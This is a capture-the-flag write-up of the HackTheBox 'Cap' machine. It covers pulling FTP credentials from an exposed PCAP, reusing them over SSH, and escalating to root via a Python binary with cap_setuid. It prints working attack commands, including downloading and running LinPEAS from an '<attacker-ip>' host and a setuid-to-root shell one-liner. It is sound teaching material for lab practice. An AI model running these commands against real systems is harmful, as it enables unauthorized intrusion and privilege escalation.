Working with Linux Capabilities | Cap HackTheBox
ToxSec | A HackTheBox challenge focused on pcap analysis, service enumeration, and Linux capability exploitation.
0x00 Introduction
Cap is a lesson in stealth exploitation. Just patient enumeration, a sharp eye, and one misconfigured binary.
The path is clean:
A leaked PCAP file reveals cleartext FTP creds.
Those creds get you into FTP and then reused for SSH.
Local checks show nothing… until you run
getcap
.A single Python binary with cap_setuid turns user into root.
This is exactly the kind of workflow OSCP teaches and bounty hunters love: small missteps chained into full compromise, without firing a single alarm.
Sidebar: Why PCAPs Are Gold
Packet captures are treasure maps for attackers. They often contain:
Credentials in cleartext (FTP, HTTP, POP3, Telnet).
Session cookies that can be replayed.
Internal service intel like IPs, ports, and hostnames.
In CTFs, PCAPs are usually planted to teach credential hunting. But in real engagements, you’ll find them in:
Misconfigured dev dashboards serving log files.
Backup shares where admins dump diagnostic captures.
Ticket attachments in IT helpdesk systems.
Takeaway for hunters: If you see .pcap
in scope, grab it. They often contain more value than the running service itself.
0x01 Initial Enumeration
Started with a fast Nmap sweep:
nmap -sC -F 10.129.205.117 -oN init-scan
Results:
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Gunicorn web server
Three services, three potential paths.
Web Recon
Focused on HTTP first. Launched Gobuster:
gobuster dir -u http://10.129.205.117 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Output:
/capture/
Navigated there — found downloadable .pcap
files.
PCAP Analysis
Pulled one down:
wget http://10.129.205.117/capture/0
Opened it in Wireshark. Within seconds, spotted FTP traffic:
USER nathan
PASS ********RM3!
And there it was — cleartext FTP creds sitting in captured traffic.
Sidebar: Cleartext Protocols in 2025
You’d think we’d be done with this by now, but FTP, Telnet, and POP3 still show up in the wild. The problem? They transmit creds in plaintext. Anyone who can sniff traffic (or anyone who stumbles on a capture file) gets free authentication.
Why it persists:
Legacy systems can’t move off old protocols.
“Temporary” setups never get decommissioned.
Developers use them internally, assuming “nobody’s watching.”
Hacker takeaway: If you see FTP or Telnet in scope, always assume credentials are floating somewhere. PCAPs, log files, or even live traffic analysis can hand you an easy foothold.
0x02 Foothold: FTP ➝ SSH
With creds from the PCAP in hand (nathan : ********RM3!
), the next step was obvious: test them on FTP.
ftp 10.129.205.117
Name: nathan
Password: ********RM3!
Access granted. Browsed around but nothing major stood out. The real win was in the home directory:
cat user.txt
First flag captured.
SSH Reuse
Tried the same credentials over SSH:
ssh nathan@10.129.205.117
Worked flawlessly. Now I had a stable, interactive shell as a user. Time to enumerate for escalation.
Sidebar: Credential Reuse as a Weapon
One of the most common real-world flaws is reusing passwords across services. It looks lazy, but it’s everywhere:
Developers use the same creds for FTP, SSH, and staging apps.
Admins recycle root-level passwords across boxes.
Users mirror their corporate creds across email, VPN, and Wi-Fi portals.
For attackers, this means a single leak cascades:
PCAP shows FTP creds → also work on SSH.
Dumped DB password → reuses for Jenkins login.
Phished O365 creds → same pair works on VPN.
Hunter takeaway: Anytime you capture a password — from PCAP, SQLi dump, config file — test it against every service you can reach. One reused password often cracks the whole chain.
0x03 Post-Exploitation: Manual Enumeration Over Noise
With SSH access as nathan, I started the standard escalation checks.
Sudo Rights?
sudo -l
Result:
[sudo] password for nathan:
Sorry, user nathan may not run sudo on cap.
No sudo perms.
LinPEAS Sweep
Uploaded LinPEAS:
python3 -m http.server 5555 # attacker box
wget http://<attacker-ip>:5555/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
It ran, flagged a few low-value findings, but no obvious root path.
At this point, a lot of hunters stop — but this is where manual checks matter.
Capability Hunt
Checked for Linux capabilities directly:
getcap -r / 2>/dev/null
Found:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
That was the jackpot. Capabilities split root powers into fine-grained permissions, and cap_setuid
means this Python binary can change its UID — including to root.
Sidebar: Why Capabilities Get Missed
Most escalation playbooks stop at:
sudo -l
find / -perm -u=s -type f 2>/dev/null
But modern Linux kernels can use capabilities as a replacement for blanket SUID. They’re quieter, more flexible, and easier for admins to misconfigure.
The catch? They don’t show up in normal SUID checks. If you aren’t running getcap -r / 2>/dev/null
, you’ll never see them.
Why attackers love them:
They look innocuous to defenders.
They don’t clutter audit logs like adding new SUID binaries.
They’re often assigned to binaries like Python, Perl, or Bash — giving instant code execution as root.
Hacker takeaway: Add getcap
to your default post-ex checklist. If you’re skipping it, you’re leaving silent escalations behind.
0x04 Privilege Escalation: Abusing Python Capabilities
The capability scan revealed:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
That cap_setuid
bit was the golden ticket. It meant Python could arbitrarily set its user ID — including UID 0 (root).
From GTFOBins, the payload is straightforward:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Executed it, and the prompt flipped:
whoami
root
cat /root/root.txt
Full root access, clean and quiet.
Sidebar: GTFOBins — The Universal Escalation Reference
When you find an unusual binary with SUID, sudo rights, or extra capabilities, GTFOBins should be your reflex, as it’s the collective playbook of escalation.
Covers multiple contexts: SUID, sudo, capabilities, restricted shells.
Pre-tested payloads: Saves time fumbling syntax in the moment.
Builds intuition: The more you cross-reference, the more you start recognizing escalation paths on sight.
In Cap, Python with cap_setuid
might not ring bells for everyone. But GTFOBins has it spelled out: “import os; setuid(0); get root.”
Hacker takeaway: Make GTFOBins second nature. Even if you can’t remember the exact syntax, knowing which binaries are dangerous is half the battle.
0x05 Debrief + Command Recap
Cap is a surgical box that rewards subtlety:
Recon: Web enum exposed
/capture/
, serving PCAPs.PCAP analysis: FTP creds in plaintext.
Foothold: FTP login gave user flag, creds reused for SSH.
Post-exploitation: No sudo, no juicy SUIDs, LinPEAS quiet.
Escalation: Manual
getcap
check uncovered Python withcap_setuid
.Root: One GTFOBins payload later, full compromise.
This is exactly the kind of chain attackers love — no brute force, no noise, just missteps quietly stacked until root falls into your lap.
Command Recap
# Recon
nmap -sC -F 10.129.205.117 -oN init-scan
gobuster dir -u http://10.129.205.117 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# PCAP loot
wget http://10.129.205.117/capture/0
# open in Wireshark, extract FTP creds
# Foothold
ftp 10.129.205.117
ssh nathan@10.129.205.117
cat /home/nathan/user.txt
# Post-Exploitation
python3 -m http.server 5555 # attacker
wget http://<attacker-ip>:5555/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh
getcap -r / 2>/dev/null
# Priv-Esc
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Proof
whoami
root
cat /root/root.txt
Sidebar: Silent Chains Win
Not every compromise needs brute force or noisy exploits. Some of the most dangerous chains are the quiet ones:
Passive loot (like PCAPs) reveals creds.
Reuse gets you SSH without a single failed login.
Manual checks find hidden escalation paths missed by automation.
This is what makes attacks hard to detect — no alerts, no loud signatures, just one overlooked misconfig after another.
Takeaway: Don’t just look for the biggest bug. Hunt for the small, quiet flaws and then connect them. That’s where the real wins live.